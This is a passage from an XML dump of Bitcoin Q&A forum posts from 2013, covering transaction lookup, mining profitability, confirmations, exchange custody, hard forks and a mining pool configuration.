94628caff8b926f1247779aa687fc5cce5063f3389f291192ce1e52fae9a2655 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getrawtransaction 6e0f6cc64a08241c62eb93427923e95319c1e16db56ddeefa0c837944ce63d4b 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="2306" LastEditDate="2016-11-25T17:23:52.163" LastActivityDate="2016-11-25T17:23:52.163" Title="getrawtransaction error? [Code -5]" Tags="|bitcoin-core|testnet|rpc-error-5|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9148" PostTypeId="1" AcceptedAnswerId="9149" CreationDate="2013-04-04T21:38:32.443" Score="32" ViewCount="123431" Body="&lt;p&gt;The Bitforce 50GH/s miner costs $2,500 today, and according to the following &lt;a href=&quot;http://tpbitcalc.appspot.com/?difficulty=6695826.2826&amp;amp;hashrate=50000.00&amp;amp;exchangerate=128.06&amp;amp;bitcoinsperblock=25.00&amp;amp;rigcost=2499.00&amp;amp;powerconsumption=80.00&amp;amp;powercost=0.10&amp;amp;investmentperiod=355&quot;&gt;calculation&lt;/a&gt; it would mine enough coins in about 5 days to pay for itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure I am missing something here. Why would they even sell this hardware at all? Surely it makes more sense to keep the hardware and just set it loose on calculating coins and cash them in.&lt;/p&gt;&#xA;" OwnerUserId="3929" LastEditorUserId="15228" LastEditDate="2016-05-04T12:15:16.020" LastActivityDate="2016-05-04T12:15:16.020" Title="Do these new ASIC miners really pay for themselves in 5 days?" Tags="|mining-profitability|mining-hardware|difficulty|asic|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9149" PostTypeId="2" ParentId="9148" CreationDate="2013-04-04T21:51:22.043" Score="25" Body="&lt;p&gt;There's a factor called Difficulty, the more hashing power exists on the network the more difficulty exists, therefore it's harder to mine coins. Right now The difficulty factor would let you recover your money fast  because almost no one has ASIC chips, when they ship in bulk the difficulty factor will rise to 30-120 million during the year. To know by how much the difficulty will rise it's impossible, so it's your call.&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="3418" LastEditDate="2013-04-04T21:59:46.767" LastActivityDate="2013-04-04T21:59:46.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9150" PostTypeId="2" ParentId="9110" CreationDate="2013-04-04T22:03:52.083" Score="3" Body="&lt;p&gt;No, Instawallet is a hosted (shared) EWallet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do not provide to you the private key for the deposit addresses associated with your Instawallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you request a withdrawal, Instawallet processes that request and makes the transaction.  There is no way for you to create a withdrawal transaction yourself for any funds in an Instawallet.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-04T22:03:52.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9151" PostTypeId="2" ParentId="9148" CreationDate="2013-04-04T22:13:39.607" Score="13" Body="&lt;p&gt;Not if you don't have one already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is that you don't know when you'll receive your device and, as @user3418 says, the difficulty will be rising in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Butterfly Labs (who manufactures the device you're talking about) has only just started delivering devices, and already has a large number of pre-orders. You probably wouldn't receive your device for at least several months, and there's a possibility the device will never earn enough to pay for itself.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-04-24T09:03:52.973" LastActivityDate="2013-04-24T09:03:52.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9152" PostTypeId="2" ParentId="9147" CreationDate="2013-04-04T23:01:34.317" Score="24" Body="&lt;p&gt;Since bitcoind/Bitcoin-qt 0.8, no transaction index is kept anymore by default, as it is not necessary for validation in the new database model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, there is only a database of unspent transaction outputs, which has enough information to (slowly) locate transactions in block files. &lt;code&gt;getrawtransaction&lt;/code&gt; uses this, but it only works for transactions that are not yet spent in the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be able to look up historical transactions, you need to set the &lt;code&gt;txindex=1&lt;/code&gt; configuration option (or start with the &lt;code&gt;-txindex&lt;/code&gt; command line flag). As this setting can only be set when the database is created, you'll need to rebuild it from scratch (using &lt;code&gt;-reindex&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-04T23:01:34.317" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9153" PostTypeId="2" ParentId="9126" CreationDate="2013-04-04T23:01:53.877" Score="0" Body="&lt;p&gt;No payment processors offer this, currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in the U.S., you could have the direct deposit/ACH transfer that your VISA/Mastercard merchant processor sends your funds to be one that you have linked to with Dwolla or Coinbase, and then use those funds drawn right back out to buy bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;http://bitcointalk.org/index.php?topic=113336.msg1224161#msg1224161&quot; rel=&quot;nofollow&quot;&gt;thread in the BitcoinTalk forum&lt;/a&gt; with more discussion on this topic.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-04T23:01:53.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9154" PostTypeId="1" CreationDate="2013-04-05T00:03:17.007" Score="2" ViewCount="216" Body="&lt;p&gt;I'd like to implement a 2-of-3 multisig protocol such that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Three parties generate private keys&lt;/li&gt;&#xA;&lt;li&gt;The private keys are never physically combined on one system - each private key never leaves its system of origin&lt;/li&gt;&#xA;&lt;li&gt;X Bitcoins are sent to some combination of these private keys&lt;/li&gt;&#xA;&lt;li&gt;It takes 2 parties to send the bitcoins to a new address&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;None of the parties gains any information about the stored bitcoins, in particular the value of X or any related addresses&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;However, two parties working together can gain complete information.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Motivation: You don't trust yourself to hold your bitcoins, and you want to rely on two of your friends to make it very hard on an attacker to steal your bitcoins (he'd have to compromise all of your systems). Still, you don't want to tell your friends information like how many bitcoins you have and where they are stored.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="6756" LastEditDate="2013-11-22T21:22:04.380" LastActivityDate="2013-11-22T21:22:04.380" Title="How do I implement a blind multisig protocol?" Tags="|multi-signature|privacy|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9157" PostTypeId="1" CreationDate="2013-04-05T00:58:38.317" Score="3" ViewCount="735" Body="&lt;p&gt;Simple question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are all the factors (all of them!) that determine how much time X number of confirmations of a transaction takes?&lt;/p&gt;&#xA;" OwnerUserId="3896" LastEditorUserId="5406" LastEditDate="2016-04-17T20:10:15.727" LastActivityDate="2017-08-08T04:03:47.837" Title="What factors determine how long confirmation takes?" Tags="|mining-theory|confirmations|transaction-selection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9158" PostTypeId="1" CreationDate="2013-04-05T01:07:45.590" Score="5" ViewCount="65" Body="&lt;p&gt;Is there ever a situation where some bitcoin client thinks a transaction has 3 confirmations and another bitcoin client (or website) thinks a transaction has 4 confirmations, for example?&lt;/p&gt;&#xA;" OwnerUserId="3896" LastActivityDate="2013-04-05T03:39:12.780" Title="Is there any discrepency on Confirmations?" Tags="|confirmations|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9159" PostTypeId="2" ParentId="9157" CreationDate="2013-04-05T01:25:53.670" Score="2" Body="&lt;p&gt;How many miners are currently mining, how fast they are mining, how much of a fee you paid, and whether you're a well connected node or not (only matters for first confirmation).&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-04-05T01:25:53.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9160" PostTypeId="2" ParentId="9158" CreationDate="2013-04-05T01:28:18.227" Score="2" Body="&lt;p&gt;In 99% of cases, it's because a miner has mined a block that has propagated through to the website and it hasn't reached the client yet. In the other 1% of times, it's because there has been a block chain fork and there are two block chains that are valid. Both possibilities are temporary things (almost always) and will fix themselves when the next block gets mined or sooner.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="2306" LastEditDate="2013-04-05T03:39:12.780" LastActivityDate="2013-04-05T03:39:12.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9161" PostTypeId="2" ParentId="9158" CreationDate="2013-04-05T03:13:26.787" Score="3" Body="&lt;p&gt;Yes, there are a few different ways this can happen, and in nearly all instances this occurring is of little significance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First the most common scenario where that happens: When a client receives a block it first will verify the block before relaying it.  A node that performs this slowly (especially if running pre-v0.8 software) may be many seconds behind other nodes.   So while one node might verify a block and increment the number of confirmations for a transaction, another node would still be working on verifying it and would show one fewer confirmations.   Within seconds the count should become equal for the transaction on both nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another scenario is much more rare -- where the blockchain has forked, and a transaction will show a number of confirmations that varies between the count on one side of the fork versus the number of confirmations on the other side.  &lt;a href=&quot;http://www.bitcoinmoney.com/post/47048259653&quot; rel=&quot;nofollow&quot;&gt;This scenario actually happened&lt;/a&gt; on March 11th, 2013 where nodes running the v0.8 client would show a transaction as having a certain number of confirmations and at the same time a node running a pre-v0.8 client might show a lower number of confirmations.  When the forks converged, after the pre-v0.8 side attained &quot;longest chain&quot; status, both client versions then displayed the same count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The possibility of there being a problem exists where there are several confirmations showing for a transaction on one node but no confirmations on another.  This could mean the funds for the transaction could be vulnerable to a double spend attack, or that such an attack had already occurred. But the scenario you describe, with at least one confirmation on both nodes, is likely simply just a propagation delay.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-05T03:13:26.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9162" PostTypeId="1" CreationDate="2013-04-05T03:33:09.487" Score="3" ViewCount="1557" Body="&lt;p&gt;If I have 1BTC in a wallet anywhere, which I bought at mtGOX for 20USD, and now that 1BTC is worth 130USD on mtGOX, I can simply send my 1BTC from the wallet to mtGOX and withdraw to a bank as USD and have netted over 500% profit after fees right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: why would I keep my BTC in the &quot;live&quot; trading of an exchange rather than just keeping it in a Wallet?  There's no difference to me right?&lt;/p&gt;&#xA;" OwnerUserId="3896" LastActivityDate="2013-04-05T04:13:58.150" Title="Why should I keep my coins in an exchange?" Tags="|wallet|exchanges|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-09T20:04:26.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="9163" PostTypeId="2" ParentId="9162" CreationDate="2013-04-05T04:13:58.150" Score="3" Body="&lt;p&gt;&lt;strong&gt;There is a difference, from a security perspective.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you deposit your bitcoins to MtGox they credit your website account with what are essentially MtGox-bitcoin-credits. These are not bitcoins. If they chose to operate with a fractional reserve system (&lt;a href=&quot;https://bitcoin.stackexchange.com/q/4169/516&quot;&gt;find out more here&lt;/a&gt;), they may have even spent some of the bitcoins, and you wouldn't know unless there was a run on the exchange (like a run on a bank).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, MtGox may or may not be able to reimburse you if they somehow lost all your bitcoins. They probably wouldn't reimburse you if someone managed to obtain your login details and withdraw your balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, storing bitcoins yourself has risks too; they can be stolen if your computer is hacked (through malware or a virus). You can however reduce the risk of that to essentially zero by generating an address from an offline computer, printing the details, destroying all electronic traces of it, and transferring your balance there. Of course, then you need to protect your piece of paper...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There is also a difference when it comes to liquidity.&lt;/strong&gt; If you have the balance stored with MtGox, you have the ability to trade it immediately (provided the website is online).&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-04-05T04:13:58.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9165" PostTypeId="1" AcceptedAnswerId="9168" CreationDate="2013-04-05T07:45:07.940" Score="2" ViewCount="1149" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1admpi/economist_pete_surda_explains_why_litecoin_and/c8wglqd&quot; rel=&quot;nofollow&quot;&gt;Killerstorm mentioned&lt;/a&gt; &quot;non-final transactions&quot; as something Satoshi talked envisioned. Can anyone elaborate what this means?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-05T08:15:54.463" Title="Whats are &quot;non-final transactions&quot;?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9167" PostTypeId="2" ParentId="1385" CreationDate="2013-04-05T08:06:40.897" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://dustcoin.com/mining&quot; rel=&quot;nofollow&quot;&gt;http://dustcoin.com/mining&lt;/a&gt; is the only site I know right now that shows this information.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-05T08:06:40.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9168" PostTypeId="2" ParentId="9165" CreationDate="2013-04-05T08:15:54.463" Score="3" Body="&lt;p&gt;Well, a very simple case is mentioned in &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_1%3a_Providing_a_deposit&quot; rel=&quot;nofollow&quot; title=&quot;'Providing a deposit' contract description&quot;&gt;&quot;Providing a deposit&quot; contract&lt;/a&gt;, but there are many other uses, and many contracts depend on such transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also provided a brief description in &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1bn1yx/can_we_get_back_to_actually_discussing_bitcoin/c989z2p&quot; rel=&quot;nofollow&quot;&gt;this comment&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transaction with nLockTime in future cannot get into blockchain before that time.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Previously it was the case that it was stored in memory pool, but now they can't even get into mempool. And it is OK, actually.&#xA;  Basically, nLockTime gives you an ability to back off after some delay, and that delay penalizes abuse or gives some time for negotiations.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For example, suppose there is a service provider and a customer. They do not trust each other very much, so they will put money into 2-signature transaction, with nLockTime'd rollback in future. If customer is satisfied with service, he will release money to service provider. If service provider agrees that he screwed it up, he will release money back to customer. However, if they disagree (e.g. service provider think he did great job but customer thinks it's shit), money can be released by nLockTime'd transaction, say, year from now. In that case customer suffers because he cannot use money for a year, but service provider doesn't get money for shitty job he have done.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But, well, a complete answer will be a rather lengthy article... &lt;/p&gt;&#xA;" OwnerUserId="3940" LastActivityDate="2013-04-05T08:15:54.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9169" PostTypeId="1" AcceptedAnswerId="9170" CreationDate="2013-04-05T08:29:04.767" Score="2" ViewCount="736" Body="&lt;p&gt;PPCoins uses &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_Stake&quot; rel=&quot;nofollow&quot;&gt;Proof of Stake&lt;/a&gt; (in addition to Proof of Work) to generate coins.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Must the client be online for this generation to happen?&lt;/li&gt;&#xA;&lt;li&gt;Do PPCoins stored in any web wallets / exchanges generate coins for you?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-16T07:51:39.717" LastActivityDate="2016-03-16T07:51:39.717" Title="How to generate PPCoins using Proof of Stake?" Tags="|proof-of-stake|mining-technical-details|peercoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9170" PostTypeId="2" ParentId="9169" CreationDate="2013-04-05T08:32:29.373" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes&lt;/li&gt;&#xA;&lt;li&gt;Yes, but it's not a great idea to do that. Coins need to sit in a wallet for at least 30 days before they start generating stake. I would never leave coins in an exchange\online wallet idle for 30 days.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3941" LastActivityDate="2013-04-05T08:32:29.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9171" PostTypeId="1" AcceptedAnswerId="9837" CreationDate="2013-04-05T08:47:51.873" Score="1" ViewCount="978" Body="&lt;p&gt;I spent the last two days setting up a Litecoin Mining Pool and from what I can tell, absolutely everything is setup and working correctly. However, after creating a new worker and connecting to it, I have noticed that the stats on the website never update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have included my pushpool configuration below, but I am at a loss as to where the issue might be?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@test sbin]# vi server.json&#xA;{&#xA;        # network ports&#xA;        &quot;listen&quot; : [&#xA;                # binary protocol (default), port 8336&#xA;                { &quot;port&quot; : 8336 },&#xA;&#xA;                # HTTP JSON-RPC protocol, port 8337&#xA;                { &quot;port&quot; : 8337, &quot;protocol&quot; : &quot;http-json&quot; },&#xA;&#xA;                # HTTP JSON-RPC protocol, port 8339,&#xA;                # with trusted proxy appserver.example.com forwarding&#xA;                # requests to us&#xA;                #{ &quot;port&quot; : 8339, &quot;protocol&quot; : &quot;http-json&quot;,&#xA;                #  &quot;proxy&quot; : &quot;appserver.example.com&quot; },&#xA;&#xA;                # binary protocol, localhost-only port 8338&#xA;                { &quot;host&quot; : &quot;127.0.0.1&quot;, &quot;port&quot; : 8338, &quot;protocol&quot; : &quot;binary&quot; }&#xA;        ],&#xA;&#xA;        # database settings&#xA;        &quot;database&quot; : {&#xA;                &quot;engine&quot; : &quot;mysql&quot;,&#xA;&#xA;                # 'host' defaults to localhost, if not specified&#xA;                &quot;host&quot; : &quot;localhost&quot;,&#xA;&#xA;                # 'port' uses proper default port for the DB engine,&#xA;                # if not specified&#xA;                &quot;port&quot; : 3306,&#xA;&#xA;                &quot;name&quot; : &quot;mmcfe&quot;,&#xA;                &quot;username&quot; : &quot;user&quot;,&#xA;                &quot;password&quot; : &quot;pass&quot;,&#xA;&#xA;                &quot;stmt.pwdb&quot; :&#xA;                  &quot;SELECT password FROM pool_worker WHERE username = ?&quot;&#xA;        },&#xA;&#xA;        # cache settings&#xA;        #&quot;memcached&quot; : {&#xA;        #       &quot;servers&quot; : [&#xA;        #               { &quot;host&quot; : &quot;127.0.0.1&quot;, &quot;port&quot; : 11211 }&#xA;        #       ]&#xA;        #},&#xA;&#xA;        &quot;pid&quot; : &quot;/tmp/pushpoold.pid&quot;,&#xA;&#xA;        # overrides local hostname detection&#xA;        #&quot;forcehost&quot; : &quot;localhost.localdomain&quot;,&#xA;&#xA;        &quot;log.requests&quot; : &quot;/tmp/request.log&quot;,&#xA;        &quot;log.shares&quot; : &quot;/tmp/shares.log&quot;,&#xA;&#xA;        # the server assumes longpolling (w/ SIGUSR1 called for each blk)&#xA;        &quot;longpoll.disable&quot; : false,&#xA;&#xA;        # length of time to cache username/password credentials, in seconds&#xA;        &quot;auth.cred_cache.expire&quot; : 75,&#xA;&#xA;        # RPC settings&#xA;        &quot;rpc.url&quot; : &quot;http://127.0.0.1:9332/&quot;,&#xA;        &quot;rpc.user&quot; : &quot;user&quot;,&#xA;        &quot;rpc.pass&quot; : &quot;pass&quot;,&#xA;&#xA;        # rewrite returned 'target' to difficulty-1?&#xA;        &quot;rpc.target.rewrite&quot; : true,&#xA;&#xA;        # allow clients to update the ntime field of their work&#xA;        &quot;roll.ntime.disable&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3862" LastActivityDate="2013-04-16T16:09:03.133" Title="MMCFE Not Reporting Stats from pushpool/wallet" Tags="|mining-pools|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9172" PostTypeId="1" AcceptedAnswerId="9529" CreationDate="2013-04-05T09:01:01.987" Score="3" ViewCount="1489" Body="&lt;p&gt;I'm using &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet&lt;/a&gt; for Android.  I recently backed up my wallet's keys and did a fresh install to a new device and restored my wallet there.  All great so far..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd now like to remove the fresh empty wallet that the app created for me when I did the install, but can't find a way to remove it from the application's address book.  Anyone know how I might do this?&lt;/p&gt;&#xA;" OwnerUserId="3942" LastEditorUserId="5406" LastEditDate="2016-01-05T13:56:03.797" LastActivityDate="2016-01-05T13:56:03.797" Title="How to remove a wallet from Android Bitcoin Wallet" Tags="|bitcoin-wallet-app|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9173" PostTypeId="1" AcceptedAnswerId="9175" CreationDate="2013-04-05T09:46:35.543" Score="25" ViewCount="14158" Body="&lt;p&gt;When people talk about possible changes to how Bitcoin works they sometimes say a particular change would require a hard fork. What does that mean? Can a hard fork cause problems?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2014-10-04T08:21:01.167" LastActivityDate="2017-11-08T11:11:25.870" Title="What is a hard fork?" Tags="|blockchain|blockchain-fork|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9174" PostTypeId="1" AcceptedAnswerId="9230" CreationDate="2013-04-05T09:57:10.933" Score="7" ViewCount="2208" Body="&lt;p&gt;Can Mt. Gox convert USD to EUR or do I have to convert it through Bitcoin myself?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastActivityDate="2013-04-05T23:21:56.130" Title="How do I withdraw USD from Mt. Gox through SEPA?" Tags="|mtgox|withdrawal|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9175" PostTypeId="2" ParentId="9173" CreationDate="2013-04-05T10:49:43.480" Score="21" Body="&lt;p&gt;Simply put, a so-called &lt;strong&gt;hard fork&lt;/strong&gt; is a change of the Bitcoin protocol that is not backwards-compatible; i.e., older client versions would not accept blocks created by the updated client, considering them invalid. Obviously, this can create a blockchain fork when nodes running the new version create a separate blockchain incompatible with the older software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For potential future changes that would require a hard fork, see the associated &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork_Wishlist&quot;&gt;wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastActivityDate="2013-04-05T10:49:43.480" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9176" PostTypeId="1" AcceptedAnswerId="9178" CreationDate="2013-04-05T10:50:03.593" Score="4" ViewCount="878" Body="&lt;p&gt;The total number of possible bitcoins is limited. This means that at some point &lt;em&gt;the last&lt;/em&gt; bitcoin is mined and no more bitcoins will be mined after that moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this happens will we notice it and how?&lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="5406" LastEditDate="2016-04-28T12:45:04.093" LastActivityDate="2016-04-28T12:47:56.593" Title="When the last bitcoin is mined will everyone know it?" Tags="|money-supply|reward-schedule|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9177" PostTypeId="1" AcceptedAnswerId="9199" CreationDate="2013-04-05T10:58:29.857" Score="2" ViewCount="821" Body="&lt;p&gt;Obviously, Litecoin mining requires less computational power as it it more CPU friendly, but does this mean that if you switch a GPU Bitcoin miner To Litecoin mining you will be wasting your resources?&lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="5406" LastEditDate="2016-01-23T12:59:08.833" LastActivityDate="2016-01-23T12:59:08.833" Title="What are the mining spec differences between Bitcoin and Litecoin?" Tags="|litecoin|scrypt|mining-hardware|gpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9178" PostTypeId="2" ParentId="9176" CreationDate="2013-04-05T11:31:28.157" Score="5" Body="&lt;p&gt;Some time in around year 2100, blocks will only be worth 0.00000001 BTC or less. But a long time before this, miners will earn their bitcoins by the transaction fee. And when blocks no longer can generate bitcoins, then the miners will earn their bitcoins only from the transaction fee (versus earning 99.99% from the fee). Miners can still generate blocks, even though blocks no longer generate new bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin-qt client does not have any &quot;popup window&quot; when this happen, if that's what your asking?&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-04-05T11:31:28.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9179" PostTypeId="1" AcceptedAnswerId="9181" CreationDate="2013-04-05T11:45:48.030" Score="8" ViewCount="1022" Body="&lt;p&gt;Today, states can follow money trails and transaction histories, usually involving checking bank accounts. As as I understand, It's impossible for anyone else to read your Bitcoin transactions and current balance without your consent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a Bitcoin world, how can a state monitor bank account when it's impossible to check their transactions?&lt;/p&gt;&#xA;" OwnerUserId="3945" LastEditorUserId="3945" LastEditDate="2017-02-02T09:24:43.767" LastActivityDate="2017-02-02T11:21:57.197" Title="What prevents Bitcoins for being used to avoid taxation?" Tags="|legal|taxes|government|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9180" PostTypeId="2" ParentId="9172" CreationDate="2013-04-05T11:56:08.550" Score="-1" Body="&lt;p&gt;Using the Web interface, you can archive addresses and then in the Archive view you can delete addresses.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-05T11:56:08.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9181" PostTypeId="2" ParentId="9179" CreationDate="2013-04-05T12:03:01.073" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What prevents Bitcoins for being used by criminals to avoid&#xA;  taxation?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;nothing.  thats the price of anonymity:  it can be used for good and for bad.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In a Bitcoin world, how can a state tax its citizens when it's&#xA;  impossible to check their transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in a hypothetical purely bitcoin world, the state would have to find different ways of funding itself, if it existed at all. &lt;/p&gt;&#xA;" OwnerUserId="3946" LastActivityDate="2013-04-05T12:03:01.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9183" PostTypeId="2" ParentId="7578" CreationDate="2013-04-05T13:16:43.153" Score="2" Body="&lt;p&gt;As far as I know, there is no such ETF as of today. However, the recent spike is likely to spark even more the interest of the best ETFs issuers out there (Vanguard, iShares...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not complex at all, actually it would be very cheap compared to setting up traditional ETFs. The fund would just have to keep bitcoins in an offline wallet held in a secure vault somewhere, just as if it were gold or any other precious metal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now given the current market volatility of bitcoin vs. other currencies, it could be considered as too dangerous marketing-wise to be offered to retail investors (even if it would be a less complex product than for example leveraged ETFs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More importantly, at this stage the key preventing factor could be the low liquidity available on the various exchanges (Mt. Gox and others): bitcoins are nowhere as liquid as other currencies, thus transaction costs in terms of market impact could be astonishingly high and significantly affect the fund's performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I do believe this will eventually happen, sooner rather than later, either with bitcoin or with an alternate equivalent currency. Then, you can also expect future and option markets to flourish (for hedging purposes).&lt;/p&gt;&#xA;" OwnerUserId="3947" LastActivityDate="2013-04-05T13:16:43.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9184" PostTypeId="1" CreationDate="2013-04-05T13:26:08.437" Score="-1" ViewCount="96" Body="&lt;p&gt;I want to use the Bitcoin client Multibit, but to do so I will need to install Java which over the past six months I've only heard bad things about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: how safe is it for me to install Java on Mac OS X 10.8.3?&lt;/p&gt;&#xA;" OwnerUserId="3949" LastActivityDate="2013-04-05T13:45:02.353" Title="How safe is it for me to install Java on OS X 10.8 to use Bitcoin" Tags="|client|java|safety|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-06T11:30:07.897" ContentLicense="CC BY-SA 3.0" />
